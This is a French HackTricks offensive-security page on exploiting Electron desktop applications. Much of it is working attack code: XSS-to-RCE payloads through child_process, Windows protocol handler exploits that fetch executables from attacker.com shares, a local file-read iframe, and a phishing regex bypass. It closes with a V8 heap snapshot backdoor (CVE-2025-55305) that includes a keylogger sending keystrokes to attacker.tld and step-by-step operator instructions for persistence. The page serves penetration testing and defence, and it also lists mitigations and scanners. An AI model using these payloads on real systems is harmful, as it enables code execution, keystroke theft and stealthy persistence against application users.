Applications de bureau Electron

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Introduction

Electron combine un backend local (avec NodeJS) et un frontend (Chromium), bien qu’il lui manque certains des mécanismes de sécurité des navigateurs modernes.

Vous trouverez généralement le code de l’application Electron à l’intérieur d’un fichier .asar ; pour obtenir le code, vous devez l’extraire :

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Dans le code source d’une application Electron, à l’intérieur de packet.json, vous pouvez trouver spécifié le fichier main.js où sont définies les configurations de sécurité.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron possède 2 types de processus :

  • Processus principal (a un accès complet à NodeJS)
  • Processus de rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)

Un processus de rendu sera une fenêtre de navigateur chargeant un fichier :

const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Les paramètres du renderer process peuvent être configurés dans le main process à l’intérieur du fichier main.js. Certaines configurations permettront d’empêcher l’application Electron d’obtenir une RCE ou d’autres vulnérabilités si les paramètres sont correctement configurés.

L’application Electron pourrait accéder à l’appareil via Node apis bien qu’elle puisse être configurée pour l’en empêcher :

  • nodeIntegration - est off par défaut. Si on, permet d’accéder aux fonctionnalités de Node depuis le renderer process.
  • contextIsolation - est on par défaut. Si off, main and renderer processes ne sont pas isolés.
  • preload - vide par défaut.
  • sandbox - est off par défaut. Il restreindra les actions que NodeJS peut effectuer.
  • Node Integration in Workers
  • nodeIntegrationInSubframes- est off par défaut.
  • Si nodeIntegration est activé, cela permettrait l’utilisation des Node.js APIs dans des pages web chargées dans des iframes au sein d’une application Electron.
  • Si nodeIntegration est désactivé, alors les preloads se chargeront dans l’iframe

Example of configuration:

const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Quelques RCE payloads de here:

Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capturer le trafic

Modifiez la configuration start-main et ajoutez l’utilisation d’un proxy tel que:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Si vous pouvez exécuter localement une Electron App, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Consultez comment dans :

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Si la nodeIntegration est réglée sur on, le JavaScript d’une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant require(). Par exemple, la manière d’exécuter l’application calc sous Windows est :

<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Le script indiqué dans ce paramètre est chargé avant les autres scripts dans le renderer, donc il a un accès illimité aux Node APIs :

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Par conséquent, le script peut exporter node-features vers des pages :

typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Si contextIsolation est activé, cela ne fonctionnera pas

RCE: XSS + contextIsolation

Le contextIsolation introduit des contextes séparés entre les scripts de la page web et le code interne JavaScript d’Electron afin que l’exécution JavaScript de chaque code n’affecte pas l’autre. C’est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.

Si les contextes ne sont pas isolés, un attaquant peut :

  1. Exécuter arbitrary JavaScript in renderer (XSS ou navigation vers des sites externes)
  2. Remplacer la méthode intégrée utilisée dans le preload ou dans le code interne d’Electron pour en prendre le contrôle
  3. Déclencher l’utilisation de la fonction écrasée
  4. RCE?

Il y a 2 endroits où les méthodes intégrées peuvent être écrasées : dans le code preload ou dans le code interne d’Electron :

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Contourner l’événement de clic

Si des restrictions sont appliquées lorsque vous cliquez sur un lien, vous pouvez peut-être les contourner en effectuant un clic du milieu au lieu d’un clic gauche classique.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Pour plus d’informations sur ces exemples, consultez https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 et https://benjamin-altpeter.de/shell-openexternal-dangers/

Lors du déploiement d’une application de bureau Electron, s’assurer que les paramètres nodeIntegration et contextIsolation sont correctement configurés est crucial. Il est établi que client-side remote code execution (RCE) ciblant les preload scripts ou le code natif d’Electron depuis le processus principal est efficacement empêché lorsque ces paramètres sont en place.

Lorsqu’un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des écouteurs d’événements spécifiques sont déclenchés, et ils sont cruciaux pour la sécurité et le fonctionnement de l’application :

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ces listeners sont surchargés par l’application de bureau pour implémenter leur propre logique métier. L’application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise via une fonction, openInternally. Si cette fonction retourne false, cela indique que le lien doit être ouvert en externe, en utilisant la fonction shell.openExternal.

Voici un pseudo-code simplifié :

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS security best practices déconseillent d’accepter du contenu non fiable avec la fonction openExternal, car cela pourrait conduire à une RCE via divers protocoles. Les systèmes d’exploitation prennent en charge différents protocoles pouvant déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à this resource, qui inclut des exemples de protocoles Windows capables d’exploiter cette vulnérabilité.

Sous macos, la fonction openExternal peut être exploitée pour exécuter des commandes arbitraires, par exemple shell.openExternal('file:///System/Applications/Calculator.app').

Exemples d’exploits de protocoles Windows :

<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

Cette vulnérabilité est décrite dans this report.

La webviewTag est une fonctionnalité dépréciée qui permet l’utilisation de NodeJS dans le renderer process, elle devrait être désactivée car elle permet de charger un script dans le preload context comme :

<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour charger un preload script arbitraire.

Ce preload script a ensuite été exploité pour appeler un service IPC vulnérable (skype-new-window) qui appelait shell.openExternal pour obtenir RCE :

(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

Lecture de fichiers internes : XSS + contextIsolation

Désactiver contextIsolation permet l’utilisation de balises <webview>, similaires à <iframe>, pour lire et exfiltrating des fichiers locaux. Un exemple montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :

De plus, une autre méthode pour lire un fichier interne est présentée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une Electron desktop app. Cela implique l’injection d’un script pour exploiter l’application et exfiltrate data :

<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Chromium ancien

Si le chromium utilisé par l’application est ancien et qu’il existe des known vulnerabilities dessus, il pourrait être possible de exploit it and obtain RCE through a XSS.
Vous pouvez voir un exemple dans ce writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

Supposons que vous ayez trouvé un XSS mais que vous cannot trigger RCE or steal internal files — vous pourriez essayer de l’utiliser pour steal credentials via phishing.

Tout d’abord, vous devez savoir ce qui se passe lorsque vous essayez d’ouvrir une nouvelle URL, en vérifiant le code JS côté front-end :

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

L’appel à openInternally décidera si le link sera ouvert dans la desktop window puisqu’il s’agit d’un link appartenant à la plateforme, ou s’il sera ouvert dans le browser en tant que ressource tierce.

Dans le cas où le regex utilisé par la fonction est vulnerable to bypasses (par exemple en ne réalisant pas l’échappement des points des subdomains) un attacker pourrait abuser du XSS pour ouvrir une nouvelle fenêtre qui sera située dans l’infrastructure de l’attacker demandant des credentials à l’utilisateur:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protocole

As mentioned in the docs pages running on file:// ont un accès unilatéral à tous les fichiers de votre machine, ce qui signifie que XSS issues can be used to load arbitrary files depuis la machine de l’utilisateur. L’utilisation d’un protocole personnalisé empêche ce type de problème car vous pouvez limiter le protocole à ne servir qu’un ensemble spécifique de fichiers.

Remote module

The Electron Remote module permet aux renderer processes to access main process APIs, facilitant la communication au sein d’une application Electron. Cependant, activer ce module introduit des risques de sécurité importants. Il augmente la surface d’attaque de l’application, la rendant plus susceptible à des vulnérabilités telles que cross-site scripting (XSS) attacks.

Tip

Although the remote module exposes some APIs from main to renderer processes, it’s not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.

Warning

Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.

Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons it’s recommended to not use it.

To enable it, it’d first needed to enable it in the main process:

const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Ensuite, le processus renderer peut importer des objets depuis le module comme ceci :

import { dialog, getCurrentWindow } from '@electron/remote'

Le blog post indique quelques fonctions intéressantes exposées par l’objet app du module remote :

  • app.relaunch([options])
  • Redémarre l’application en quittant l’instance actuelle et en lançant une nouvelle. Utile pour les mises à jour de l’application ou des changements d’état importants.
  • app.setAppLogsPath([path])
  • Définit ou crée un répertoire pour stocker les logs de l’application. Les logs peuvent être récupérés ou modifiés en utilisant app.getPath() ou app.setPath(pathName, newPath).
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • Enregistre l’exécutable courant comme le gestionnaire par défaut pour un protocole spécifié. Vous pouvez fournir un chemin personnalisé et des arguments si nécessaire.
  • app.setUserTasks(tasks)
  • Ajoute des tâches à la catégorie Tasks dans la Jump List (sous Windows). Chaque tâche peut contrôler la façon dont l’app est lancée ou quels arguments sont passés.
  • app.importCertificate(options, callback)
  • Importe un certificat PKCS#12 dans le magasin de certificats du système (Linux uniquement). Un callback peut être utilisé pour traiter le résultat.
  • app.moveToApplicationsFolder([options])
  • Déplace l’application vers le dossier Applications (sur macOS). Aide à garantir une installation standard pour les utilisateurs Mac.
  • app.setJumpList(categories)
  • Définit ou supprime une Jump List personnalisée sur Windows. Vous pouvez préciser des catégories pour organiser l’affichage des tâches à l’utilisateur.
  • app.setLoginItemSettings(settings)
  • Configure quels exécutables se lancent au login, ainsi que leurs options (macOS et Windows uniquement).

Example:

Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences module

L’API principale pour accéder aux préférences système et émettre des événements système dans Electron. Des méthodes comme subscribeNotification, subscribeWorkspaceNotification, getUserDefault, et setUserDefault font toutes partie de ce module.

Exemple d’utilisation:

const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Écoute les notifications macOS natives en utilisant NSDistributedNotificationCenter.
  • Avant macOS Catalina, vous pouviez sniff toutes les notifications distribuées en passant nil à CFNotificationCenterAddObserver.
  • Après Catalina / Big Sur, les sandboxed apps peuvent encore s’abonner à beaucoup d’événements (par exemple, verrouillage/déverrouillage d’écran, montages de volumes, activité réseau, etc.) en enregistrant les notifications par nom.

getUserDefault / setUserDefault

  • Interagit avec NSUserDefaults, qui stocke les préférences application ou globales sur macOS.

  • getUserDefault peut récupérer des informations sensibles, comme emplacements récents de fichiers ou la localisation géographique de l’utilisateur.

  • setUserDefault peut modifier ces préférences, affectant potentiellement la configuration d’une app.

  • Dans les anciennes versions d’Electron (avant v8.3.0), seule la suite standard de NSUserDefaults était accessible.

Shell.showItemInFolder

Cette fonction montre le fichier donné dans un gestionnaire de fichiers, qui pourrait exécuter automatiquement le fichier.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Les apps Electron devraient avoir une Content Security Policy (CSP) pour prévenir les attaques XSS. La CSP est un standard de sécurité qui aide à empêcher l’exécution de code non fiable dans le navigateur.

Elle est généralement configurée dans le fichier main.js ou dans le template index.html avec la CSP à l’intérieur d’une meta tag.

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

Cette chaîne réelle a affecté Visual Studio Code 1.63 (CVE-2021-43908) et démontre comment un unique XSS piloté par Markdown dans un webview peut être escaladé en RCE complète lorsque CSP, postMessage et les scheme handlers sont mal configurés. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Aperçu de la chaîne d’attaque

  • First XSS via webview CSP: The generated CSP included style-src 'self' 'unsafe-inline', allowing inline/style-based injection in a vscode-webview:// context. The payload beaconed to /stealID to exfiltrate the target webview’s extensionId.
  • Construction de l’URL du webview cible : en utilisant l’ID leaked pour construire vscode-webview://<extensionId>/.../<publicUrl>.
  • Second XSS via postMessage trust: The outer webview trusted window.postMessage without strict origin/type checks and loaded attacker HTML with allowScripts: true.
  • Local file loading via scheme/path rewriting: The payload rewrote file:///... to vscode-file://vscode-app/... and swapped exploit.md for RCE.html, abusing weak path validation to load a privileged local resource.
  • RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.

Example RCE primitive in the final context

// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

Lecture complémentaire sur les problèmes de confiance liés à postMessage :

PostMessage Vulnerabilities

Outils

  • Electronegativity est un outil permettant d’identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
  • Electrolint est une extension open source pour VS Code dédiée aux applications Electron qui utilise Electronegativity.
  • nodejsscan pour détecter les bibliothèques tierces vulnérables
  • Electro.ng: Vous devez l’acheter

Laboratoires

Dans https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s vous trouverez un lab pour exploiter des applications Electron vulnérables.

Quelques commandes qui vous aideront avec le lab :

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Porte dérobée locale via la falsification de V8 heap snapshot (Electron/Chromium) – CVE-2025-55305

Electron et les applications basées sur Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et optionnellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les fuses d’intégrité d’Electron ne traitaient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l’application des fuses d’intégrité et aux vérifications de code-signing du système d’exploitation. En conséquence, remplacer le snapshot dans une installation modifiable par l’utilisateur permettait une exécution de code furtive et persistante à l’intérieur de l’app sans modifier les binaires signés ni l’ASAR.

Points clés

  • Faille d’intégrité : EnableEmbeddedAsarIntegrityValidation et OnlyLoadAppFromAsar valident le JavaScript de l’app à l’intérieur de l’ASAR, mais ne couvraient pas les V8 heap snapshots (CVE-2025-55305). De même, Chromium ne vérifie pas l’intégrité des snapshots.
  • Préconditions de l’attaque : écriture locale de fichiers dans le répertoire d’installation de l’application. Ceci est courant sur les systèmes où les apps Electron ou navigateurs Chromium sont installés dans des chemins modifiables par l’utilisateur (ex. %AppData%\Local sous Windows ; /Applications avec des réserves sur macOS).
  • Effet : exécution fiable de JavaScript contrôlé par l’attaquant dans n’importe quel isolate en écrasant un builtin fréquemment utilisé (un « gadget »), permettant persistance et contournement de la vérification de code-signing.
  • Surface affectée : applications Electron (même avec les fuses activés) et navigateurs basés sur Chromium qui chargent des snapshots depuis des emplacements modifiables par l’utilisateur.

Générer un snapshot malveillant sans builder Chromium

  • Utilisez le prebuilt electron/mksnapshot pour compiler un payload JS en snapshot et écraser le v8_context_snapshot.bin de l’application.

Example minimal payload (prove execution by forcing a crash)

// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (exécuter du code différent dans main vs. renderer)

  • Détection du main process : les Node-only globals comme process.pid, process.binding(), ou process.dlopen sont présents dans l’isolate du main process.
  • Détection Browser/renderer : les Browser-only globals comme alert sont disponibles lorsqu’on s’exécute dans un contexte de document.

Exemple de gadget qui sonde une fois les capacités Node du main process

const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

PoC de vol de données depuis le renderer/contexte du navigateur (p. ex., Slack)

const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

Flux de travail de l’opérateur

  1. Écrire payload.js qui écrase une fonction native courante (par ex., Array.isArray) et, optionnellement, effectue des branches par isolate.
  2. Construire le snapshot sans les sources de Chromium :
  • npx -y electron-mksnapshot@37.2.6 “/abs/path/to/payload.js”
  1. Remplacer le(s) fichier(s) snapshot de l’application cible :
  • v8_context_snapshot.bin (toujours utilisé)
  • browser_v8_context_snapshot.bin (si le fuse LoadBrowserProcessSpecificV8Snapshot est utilisé)
  1. Lancer l’application ; le gadget s’exécute chaque fois que la fonction native choisie est utilisée.

Notes et considérations

  • Contournement d’intégrité/signature : les fichiers snapshot ne sont pas considérés comme des exécutables natifs par les vérifications de signature de code et (historiquement) n’étaient pas couverts par Electron’s fuses ni par les contrôles d’intégrité de Chromium.
  • Persistance : remplacer le snapshot dans une installation modifiable par l’utilisateur survit généralement aux redémarrages de l’application et ressemble à une application signée et légitime.
  • Navigateurs Chromium : le même concept de falsification s’applique à Chrome/derivés installés dans des emplacements modifiables par l’utilisateur. Chrome dispose d’autres mesures d’intégrité mais exclut explicitement les attaques physiques locales de son modèle de menace.

Détection et mesures d’atténuation

  • Traiter les snapshots comme du contenu exécutable et les inclure dans l’application des contrôles d’intégrité (fix CVE-2025-55305).
  • Préférer des emplacements d’installation accessibles en écriture uniquement par l’administrateur ; établir une ligne de base et surveiller les hachages pour v8_context_snapshot.bin et browser_v8_context_snapshot.bin.
  • Détecter l’écrasement de fonctions natives en début d’exécution et les modifications inattendues de snapshots ; alerter lorsque les snapshots désérialisés ne correspondent pas aux valeurs attendues.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks